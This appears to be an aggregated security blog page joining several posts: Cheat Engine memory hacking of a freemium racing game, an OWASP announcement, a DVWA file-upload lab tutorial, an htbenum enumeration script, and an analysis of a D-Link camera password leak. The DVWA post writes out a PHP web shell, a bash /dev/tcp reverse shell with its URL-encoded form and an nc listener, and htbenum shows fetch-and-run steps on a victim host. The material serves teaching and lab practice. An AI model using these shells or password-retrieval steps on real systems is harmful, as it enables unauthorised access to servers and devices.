16 apr 2020

Hacking Freemium Games - The Evolution Of PC Game Cheating

This post is going to be a rather strange post compared to previous ones. But bear with me, in the middle of the post you will see why this post fits the IT security topic.

I'm also terribly sorry for not posting recently, but I was busy with my SPSE and SLAE certification. Both are recommended for Python and Assembly noobs like me. But back to this post.

A little bit of history

Cheating in games started as help for game testers. By using invincibility or infinite ammo testers were able to test the game quicker, which meant less money spent on testing. I personally use cheat codes in games, depending on my mood. Sometimes it feels good to slash all the opponents while I'm invincible, sometimes it is more fun to play the game without cheats. One can argue whether cheating in games is OK or not, but I believe it depends, there is no black or white. But one thing is for sure, it is part of the gaming industry. There is huge demand for cheats. There were even cheat books printed on paper...


The different types of cheats (on PC)

There are different types of cheats in PC gaming. Following is a noncomplete list of these cheats:

Cheat codes

The good old IDDQD type of cheats. These are left in the game by the developers intentionally. Nothing interesting here.

Edit memory

This is my favorite. I will talk about this at the end of the post. Whenever a user launches a new program, the program's whole memory is accessible (read/write) to every other program launched by the user. And since the memory stores the current game state (health, ammo, armor, etc.), these values can be changed easily. In the good old times, there were POKE commands to do this cheats, and the memory address to write into was published by people who found where the game stores the most critical states about the game.

Code injection

This is like patching the game code. For example, one can change the "DEC (pointer to your current health)" instruction with NOP (do nothing), thus becoming invincible. In multi-player cheats, there is the aimbot to help you aim at enemies, wallhack to see through the wall, increase hitbox of the enemy for smoother hit, or in MMORPGs, one can write macros to collect items while the player is not online. I would say the so-called "trainers" more or less fit into this category and the previous one.

Saved game editor

The first time a kid meets a hex-editor (just like the co-author of this blog did with SIM City when he was 10 years old - David). It can teach a lot about file structures, the hexadecimal numeral system, etc. Fun times. 

Hacking game server

Not very common, but even more fun. Warning: endless trolling possibilities in multi-player games ahead :) How to hack a game server? Well, I think this might deserve another full blog post ...

Network traffic hacking

One last necessary type of cheating is to modify network traffic between the client and the game server. AFAIK SSL is not universal in gaming, so stunnel is not needed for this hack, but ettercap can help in changing the communication.

Why cheating becomes more critical (and challenging)?

Now in the age of in-app-payments, the game creators are no longer thinking about cheats as funny things but something to be destroyed to the ground. Because cheating decreases its revenue. Or not. At least they think it does. To quote Wikipedia here, "cheating in such games is nonetheless a legal grey area because there are no laws against modifying software which is already owned, as detailed in the Digital Millennium Copyright Act." 

A lot of online games include anti-cheating components like PunkBuster, nProtect GameGuard, or Valve Anti-Cheat. This whole cheating/anti-cheating industry is the same as the virus/anti-virus industry. A cat and mouse game.

Freemium games

If you have not played with "freemium" games, you should watch South Park season 18, episode 6. - "Freemium Isn't Free." If you did play with freemium games, you definitely have to watch it :) There are many problems with freemium games. It is free to install, free to play. The first 3-4 hours might be fun to play. But after that, it turns out it is impossible to advance in the game without paying money for it. And by spending cash, I mean spending a LOT! Let's have a look at today's example, an arcade racing video game.


For 99.99 USD, you can get 3 000 000 credit. For almost double the price of a new PC game, you can get these credits. In this particular game, I estimate one have to play ~6-24 hours constantly to get this amount of credit. But by playing ~6 hours, I mean 6 hours without progress in the game! Kind of boring. And what do you get from 3 000 000 credit? You can buy one of the most expensive cars, but can't tune them fully. You have to play more (without progress) or buy more. But guess what, there are more cars you can't buy by only playing the game. Those are only available via in-app-purchase.


Even though the player has 58 765 533 credits, it is not possible to buy this car. Only available through real money.


So, what are your possibilities? You are either Richie Rich, and can afford the money to buy these. Or you can be insane, and try to play the game without in-app-purchase. Or give up the game and try another freemium ... Or, you can try to hack the game!

Hack all the freemium games!

Although I was not playing this racing game from day one, I was able to witness the evolution of the cheats against this game. The cheats which worked in one day was not working one month later. The game is continuously updated to defeat the newly published cheats.

Noob start

So, I want to hack this game, what is the first thing a noob like me does? Bing it! Google it! 
From the first page result, let's check this tool:


While trying to download that, I just have to give my email address to spammers, or my mobile number will be subscribed to premium rate text messages. What fun.


Another "cheat" program will install malware/adware on your computer. Never ever try these programs. They are fake 99% of the time and after installing those you will have another problem, not just how to hack freemium games.

Beginners start - Cheat engine

When I first heard about hacking games in memory, I visualized hours of OllyDBG/ImmunityDBG/(insert your favorite Windows debugger here). It turned out, there are some specialized tools to help you with cheating the game. No assembly knowledge required. My favourite tool is CheatEngine. I highly recommend to download it and spend 10 minutes to get past the built-in tutorial levels to get a feeling about this tool. It's super duper awesome.



When I first tried to hack this game myself, I scanned the memory for my actual credit and tried to change that, no luck. Keep reading, you will see what happened.

The second cheat I tried with cheat engine was something like this
  1. Start the game, play the first level, and check how many credits is paid for winning the race. Pro tip: use dual display for full-screen game cheating.
  2. Restart the same level, attach Cheat Engine to the game's process
  3. Scan the memory for the same value at the beginning of the race
  4. Scan the memory for the same value at the end of the game. The intersect of the first and second scan includes the real value where the credit is stored for winning the race.
  5. Change the values (both the real one and some false positives) to something big
  6. Watch the game to crash
  7. Be amazed at the money you received
Nowadays, most of the cheats on YouTube does not work. Except for these kind of cheats. I don't want to recreate that tutorial, so you should watch it first then come back.



Are you back? Great. Do you have any idea what have you just seen? No? Well, in this case, don't try this at home. Copy-pasting assembly code from random internet posts and running on your computer is always a bad idea. It is precisely as risky as downloading free programs from random internet sites.

Although I have not seen people trolling others with this cheat engine type of shellcode, I think the time will come when these will be turned into something terrible. These shellcodes might work, or might harm your computer. The good news is, we can have a look at the code and analyze it. 

When you open CheatEngine and try to define a new custom type, you are greeted with a skeleton assembly code. I don't want to detail what all the skeleton code does, let's just focus on the difference between the skeleton code and the code used in the video. This is the "decrypt function":

xor eax, 0baadf00d
rol eax, 0e

What does it mean? The actual credit is encrypted in memory. If you want to scan it in memory, you won't be able to find it. But! The encryption is rotating the value to the right (ROR) with 0xE (14 in decimal), and after that, it is XOR-ed with 0xbaadf00d. Decrypting it is the inverse of the functions in reverse order (in this particular case, the order does not matter, but that's not the point). The inverse function of XOR is XOR, and the inverse function of ROR (rotate right) is ROL (rotate left). Now that we analyzed the assembly code, we can be sure that it is safe to execute. Just follow the video and see your coins falling from the sky. For free. In a freemium game. Have fun!

Encrypt memory - applications at financial institutions

Another exciting thing is that I don't recall any thick client applications in the financial industry encrypting the values in memory. And I agree, there are more significant problems with thick client applications than not encrypting the essential values in memory. But still, some thick client applications are regularly updated, maintained. Maybe it is a good idea to encrypt the values in memory. It will make attackers' life harder. Not impossible, but harder. Perhaps the developers of these applications should learn from the gaming industry (or from malware developers for that matter) because it is a shame that an arcade racing game or an FPS is protected better than an application responsible for transacting millions of dollars. Just think about the RAM scraping malware stealing millions of credit card data ...

Moral of the story

Cheating is part of the gaming history, and the freemium games are trying to take away the cheats from the gamers because they want money. Thanks to CheatEngine and some clever hacks, these programs can be still beaten. And guess what, there is CheatEngine for Android - although it did not work for me on the latest Android. And sometimes, hacking all kinds of applications can be more comfortable with CheatEngine, compared to traditional debuggers.

Also, always check the code before executing it! And when you find something cool, publish it, so everyone could enjoy the games!


More information

The OWASP Foundation Has Selected The Technical Writer For Google Season Of Docs

The OWASP Foundation has selected the technical writer for Google Season of Docs by Fabio Cerullo


The OWASP Foundation has been accepted as the organization for the Google Seasons of Docs, a project whose goals are to give technical writers an opportunity to gain experience in contributing to open source projects and to give open-source projects an opportunity to engage the technical writing community.

During the program, technical writers spend a few months working closely with an open-source community. They bring their technical writing expertise to the project's documentation, and at the same time learn about open source and new technologies.

The open-source projects work with the technical writers to improve the project's documentation and processes. Together they may choose to build a new documentation set, or redesign the existing docs, or improve and document the open-source community's contribution procedures and onboarding experience. Together, we raise public awareness of open source docs, of technical writing, and of how we can work together to the benefit of the global open source community.

After a careful review and selection process, the OWASP Foundation has picked the primary technical writer who will work along the OWASP ZAP Team for the next 3 months to create the API documentation of this flagship project.

Congratulations to Nirojan Selvanathan!

Please refer to the linked document where you could look at the deliverables and work execution plan.



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Freefloat FTP Server 1.0 | Remote Buffer Overflow | Exploit

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Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:
echo TESTUPLOAD > test.txt
and now upload it.
The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:
http://localhost:9000/hackable/uploads/test.txt
and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.
<?php
phpinfo();
?>
Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:
http://localhost:9000/hackable/uploads/info.php
and you should see a phpinfo page like this:
phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:
<?php
system($_GET["cmd"]);
?>
save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:
http://localhost:9000/hackable/uploads/shell.php?cmd=whoami
we see a response from the server giving us the user under which the web application is running.
We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.
Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:
ifconfig docker0
the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:
bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'
here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
Now start a listener on host with this command:
nc -lvnp 9999
and then enter the url encoded reverse shell in the cmd parameter of the url like this:
http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
looking back at the listener we have a reverse shell.
Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:
nc -lvnp 9999
and upload the reverse shell to the server and access it to execute our reverse shell.
That's it for today have fun.

References:

  1. Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
  2. Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  3. Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

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Htbenum - A Linux Enumeration Script For Hack The Box


This script is designed for use in situations where you do not have internet access on a Linux host and would like to run enumeration and exploit suggestion scripts, such as Hack The Box. I find myself running a similar set of scripts when I get an initial foothold on a Linux box, and this script helps automate the process of downloading the latest version of each enumeration script, making it executable, and running it, as well as sending output to a file for later review. It also has a builtin web server to host the tools and upload reports back to the host machine.

Features

Usage
./htbenum.sh [-u] -i IP -p port [-o directory] [-w] [-r]

Example:
Host machine: root@kali:~/htbenum# ./htbenum.sh -u
Host machine: root@kali:~/htbenum# ./htbenum.sh -i 10.10.14.1 -p 80 -w
Victim machine: www-data@victim:/tmp$ wget http://10.10.14.1:80/htbenum.sh
Victim machine: www-data@victim:/tmp$ chmod +x ./htbenum.sh
Victim machine: www-data@victim:/tmp$ ./htbenum.sh -i 10.10.14.1 -p 80 -r

Parameters:
-h - View help and usage.
-i IP - IP address of the listening web server used for upload and download.
-p port - TCP port of the listening web server used for upload and download.
-o directory - Custom download and report creation directory (default is /tmp).
-w - Start builtin web server for downloading files and uploading reports.
-u - Update to the latest versions of each tool, overwriting any existing version s.
-r - Upload reports back to the host machine web server (must support PUT requests).
To use htbenum, clone the repo and run the script with the update parameter on your local machine. This will download and update all the needed scripts from the internet (Github) and place them in the same directory as htbenum.sh:
root@kali:~# git clone https://github.com/SolomonSklash/htbenum
root@kali:~# cd htbenum
root@kali:~/htbenum# ./htbenum.sh -u
_ _ ___________ _____ _ _ _ ____ ___
| | | |_ _| ___ \ ___| \ | | | | | \/ |
| |_| | | | | |_/ / |__ | \| | | | | . . |
| _ | | | | ___ \ __|| . ` | | | | |\/| |
| | | | | | | |_/ / |___| |\ | |_| | | | |
\_| |_/ \_/ \____/\____/\_| \_/\___/\_| |_/

By Solomon Sklash - solomonsklash@0xfeed.io

[i] Updating all tools...
2019-11-25 17:54:55 URL:https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh [31859/31859] -> "lse.sh" [1]
2019-11-25 17:54:55 URL:https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh [46476/46476] -> "linenum.sh" [1]
2019-11-25 17:54:56 URL:https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py [25304/25304] -> "linuxprivchecker.py" [1]
2019-11-25 17:54: 56 URL:https://raw.githubusercontent.com/initstring/uptux/master/uptux.py [29853/29853] -> "uptux.py" [1]
2019-11-25 17:54:56 URL:https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py [12614/12614] -> "suid3num.py" [1]
2019-11-25 17:54:57 URL:https://raw.githubusercontent.com/belane/linux-soft-exploit-suggester/master/linux-soft-exploit-suggester.py [13886/13886] -> "les-soft.py" [1]
2019-11-25 17:54:58 URL:https://raw.githubusercontent.com/offensive-security/exploit-database/master/files_exploits.csv [5669905/5669905] -> "files_exploits.csv" [1]
2019-11-25 17:54:58 URL:https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh [82214/82214] -> "les.sh" [1]
[i] Update complete!
root@kali:~/htbenum#
Then, start the builtin web server to host the tools and receive the completed reports. The server requires Python 3. You can use you own web server to host the tools, but it will need to support PUT requests for the report uploads.
root@kali:~/htbenum# ./htbenum.sh -i 10.10.14.1 -p 80 -w
Finally, upload the htbenum.sh script to your target machine, make it executable, and run it with the IP and port of your host machine, with an optional directory for downloading files and writing report output. You can also optionally upload the reports back to the host machine. For example:
www-data@htb:/tmp$ wget http://10.10.99.100/htbenum.sh -O /tmp/htbenum.sh
www-data@htb:/tmp$ chmod +x ./htbenum.sh
www-data@htb:/tmp$ ./htbenum.sh -i 10.10.14.1 -p 80 -r
Each tool will send its output to a report file in the same directory as the htbenum.sh script, or whatever directory is specified by the -d parameter.




via KitPloitMore info

Open Sesame (Dlink - CVE-2012-4046)

A couple weeks ago a vulnerability was posted for the dlink DCS-9xx series of cameras. The author of the disclosure found that the setup application that comes with the camera is able to send a specifically crafted request to a camera on the same network and receive its password in plaintext. I figured this was a good chance to do some analysis and figure out exactly how the application carried out this functionality and possibly create a script to pull the password out of a camera.

The basic functionality of the application is as follows:

  • Application sends out a UDP broadcast on port 5978
  • Camera sees the broadcast on port 5978 and inspects the payload – if it sees that the initial part of the payload contains "FF FF FF FF FF FF" it responds (UDP broadcast port 5978) with an encoded payload with its own MAC address
  • Application retrieves the camera's response and creates another UDP broadcast but this time it sets the payload to contain the target camera's MAC address, this encoded value contains the command to send over the password
  • Camera sees the broadcast on port 5978 and checks that it is meant for it by inspecting the MAC address that has been specified in the payload, it responds with an encoded payload that contains its password (base64 encoded)

After spending some time with the application in a debugger I found what looked like it was responsible for the decoding of the encoded values that are passed:


super exciting screen shot.
After spending some time documenting the functionality I came up with the following notes (messy wall of text):

CommandComments
.JGE SHORT 0A729D36; stage1
./MOV EDX,DWORD PTR SS:[LOCAL.2]; set EDX to our 1st stage half decoded buffer
.|MOV ECX,DWORD PTR SS:[LOCAL.4]; set ECX to our current count/offset
.|MOV EAX,DWORD PTR SS:[LOCAL.3]; set EAX to our base64 encoded payload
.|MOVSX EAX,BYTE PTR DS:[EAX]; set EAX to the current value in our base64 payload
.|MOV AL,BYTE PTR DS:[EAX+0A841934]; set EAX/AL to a hardcoded offset of its value table is at 0a841934
.|MOV BYTE PTR DS:[ECX+EDX],AL; ECX = Offset, EDX = start of our half-decoded buffer, write our current byte there
.|INC DWORD PTR SS:[LOCAL.4]; increment our offset/count
.|INC DWORD PTR SS:[LOCAL.3]; increment our base64 buffer to next value
.|MOV EDX,DWORD PTR SS:[LOCAL.4]; set EDX to our counter
.|CMP EDX,DWORD PTR SS:[ARG.2]; compare EDX (counter) to our total size
.\JL SHORT 0A729D13; jump back if we have not finished half decoding our input value
.MOV ECX,DWORD PTR SS:[ARG.3]; Looks like this will point at our decoded buffer
.MOV DWORD PTR SS:[LOCAL.5],ECX; set Arg5 to our decoded destination
.MOV EAX,DWORD PTR SS:[LOCAL.2]; set EAX to our half-decoded buffer
.MOV DWORD PTR SS:[LOCAL.3],EAX; set arg3 to point at our half-decoded buffer
.MOV EDX,DWORD PTR SS:[ARG.4]; ???? 1500 decimal
.XOR ECX,ECX; clear ECX
.MOV DWORD PTR DS:[EDX],ECX; clear out arg4 value
.XOR EAX,EAX; clear out EAX
.MOV DWORD PTR SS:[LOCAL.6],EAX; clear out local.6
.JMP SHORT 0A729DAE; JUMP
./MOV EDX,DWORD PTR SS:[LOCAL.3]; move our current half-decoded dword position into EDX
.|MOV CL,BYTE PTR DS:[EDX]; move our current byte into ECX (CL) (dword[0])
.|SHL ECX,2; shift left 2 dword[0]
.|MOV EAX,DWORD PTR SS:[LOCAL.3]; move our current dword position into EAX
.|MOVSX EDX,BYTE PTR DS:[EAX+1]; move our current dword position + 1 (dword[1]) into EDX
.|SAR EDX,4; shift right 4 dword[1]
.|ADD CL,DL; add (shift left 2 dword[0]) + (shift right 4 dword[1])
.|MOV EAX,DWORD PTR SS:[LOCAL.5]; set EAX to our current decoded buffer position
.|MOV BYTE PTR DS:[EAX],CL; write our decoded (dword[0]) value to or decoded buffer
.|INC DWORD PTR SS:[LOCAL.5]; increment our position in the decoded buffer
.|MOV EDX,DWORD PTR SS:[LOCAL.3]; set EDX to our current dword position
.|MOV CL,BYTE PTR DS:[EDX+1]; set ECX to dword[1]
.|SHL ECX,4; left shift 4 dword[1]
.|MOV EAX,DWORD PTR SS:[LOCAL.3]; set EAX to our current dword position
.|MOVSX EDX,BYTE PTR DS:[EAX+2]; set EDX to dword[2]
.|SAR EDX,2; shift right 2 dword[2]
.|ADD CL,DL; add (left shift 4 dword[1]) + (right shift 2 dword[2])
.|MOV EAX,DWORD PTR SS:[LOCAL.5]; set EAX to our next spot in the decoded buffer
.|MOV BYTE PTR DS:[EAX],CL; write our decoded value into our decoded buffer
.|INC DWORD PTR SS:[LOCAL.5]; move to the next spot in our decoded buffer
.|MOV EDX,DWORD PTR SS:[LOCAL.3]; set EDX to our current half-decoded dword
.|MOV CL,BYTE PTR DS:[EDX+2]; set ECX dword[2]
.|SHL ECX,6; shift left 6 dword[2]
.|MOV EAX,DWORD PTR SS:[LOCAL.3]; set EAX to our current half-decoded dword
.|ADD CL,BYTE PTR DS:[EAX+3]; add dword[2] + dword[3]
.|MOV EDX,DWORD PTR SS:[LOCAL.5]; set EDX to point at our next spot in our decoded buffer
.|MOV BYTE PTR DS:[EDX],CL; write our decoded byte to our decoded buffer
.|INC DWORD PTR SS:[LOCAL.5]; move to the next spot in our decoded buffer
.|ADD DWORD PTR SS:[LOCAL.3],4; increment our encoded buffer to point at our next dword
.|MOV ECX,DWORD PTR SS:[ARG.4]; set ECX to our current offset?
.|ADD DWORD PTR DS:[ECX],3; add 3 to our current offset?
.|ADD DWORD PTR SS:[LOCAL.6],4; add 4 to our byte counter??
.|MOV EAX,DWORD PTR SS:[ARG.2]; move total size into EAX
.|ADD EAX,-4; subtract 4 from total size
.|CMP EAX,DWORD PTR SS:[LOCAL.6]; compare our total bytes to read bytes
.\JG SHORT 0A729D50; jump back if we are not done
.MOV EDX,DWORD PTR SS:[LOCAL.3]; set EDX to our last DWORD of encoded buffer
.MOVSX ECX,BYTE PTR DS:[EDX+3]; set ECX to dword[3] last byte of our half-decoded dword (dword + 3)
.INC ECX; increment the value of dword[3]
.JE SHORT 0A729E1E
.MOV EAX,DWORD PTR SS:[LOCAL.3]; set EAX to our current half-decoded dword
.MOV DL,BYTE PTR DS:[EAX]; set EDX (DL) to dword[0]
.SHL EDX,2; shift left 2 dword[0]
.MOV ECX,DWORD PTR SS:[LOCAL.3]; set ECX to our current encoded dword position
.MOVSX EAX,BYTE PTR DS:[ECX+1]; set EAX to dword[1]
.SAR EAX,4; shift right 4 dword[1]
.ADD DL,AL; add (shifted left 2 dword[0]) + (shifted right 4 dword[1])
.MOV ECX,DWORD PTR SS:[LOCAL.5]; set ECX to point at our next spot in our decoded buffer
.MOV BYTE PTR DS:[ECX],DL; write our decoded value (EDX/DL) to our decoded buffer
.INC DWORD PTR SS:[LOCAL.5]; move to the next spot in our decoded buffer
.MOV EDX,DWORD PTR SS:[LOCAL.3]; set EDX to point at our dword
.MOV AL,BYTE PTR DS:[EDX+1]; set EAX/AL to dword[1]
.SHL EAX,4; shift left 4 dword[1]
.MOV EDX,DWORD PTR SS:[LOCAL.3]; set EDX to our current dword
.MOVSX ECX,BYTE PTR DS:[EDX+2]; set ECX to dword[2]
.SAR ECX,2; shift right 2 dword[2]
.ADD AL,CL; add (shifted left 4 dword[1]) + (shifted right 2 dword[2])
.MOV EDX,DWORD PTR SS:[LOCAL.5]; set EDX to point at our current spot in our decoded buffer
.MOV BYTE PTR DS:[EDX],AL; write our decoded value to the decoded buffer
.INC DWORD PTR SS:[LOCAL.5]; move to the next spot in our decoded buffer
.MOV EAX,DWORD PTR SS:[LOCAL.3]; set EAX to point at our current dword
.MOV CL,BYTE PTR DS:[EAX+2]; set ECX/CL to dword[2]
.SHL ECX,6; shift left 6 dword[2]
.MOV EAX,DWORD PTR SS:[LOCAL.3]; point EAX at our current dword
.ADD CL,BYTE PTR DS:[EAX+3]; add dword[3] + (shifted left 6 dword[2])
.MOV EDX,DWORD PTR SS:[LOCAL.5]; point EDX at our current decoded buffer
.MOV BYTE PTR DS:[EDX],CL; write our decoded value to the decoded buffer
.INC DWORD PTR SS:[LOCAL.5]; increment our deocded buffer
.MOV ECX,DWORD PTR SS:[ARG.4]; set ECX to our current offset?
.ADD DWORD PTR DS:[ECX],3; add 4 for our current byte counter?
.JMP 0A729EA6; jump

Translated into english: the application first uses a lookup table to translate every byte in the input string, to do this it uses the value of the current byte as an offset into the table.  After it is done with "stage1" it traverses the translated input buffer a dword at a time and does some bit shifting and addition to fully decode the value. The following roughly shows the "stage2" routine:
(Dword[0] << 2) + (Dword[1] >> 4) = unencoded byte 1 
(Dword[1] << 4) + (Dword[2] >> 2) = unencoded byte 2 
(Dword[2] << 6) + Dword[3] = unencoded byte 3

I then confirmed that this routine worked on an "encoded" value that went over the wire from the application to the camera. After confirming the encoding scheme worked, I recreated the network transaction the application does with the camera to create a stand alone script that will retrieve the password from a camera that is on the same lan as the "attacker". The script can be found here, thanks to Jason Doyle for the original finding (@jasond0yle ).

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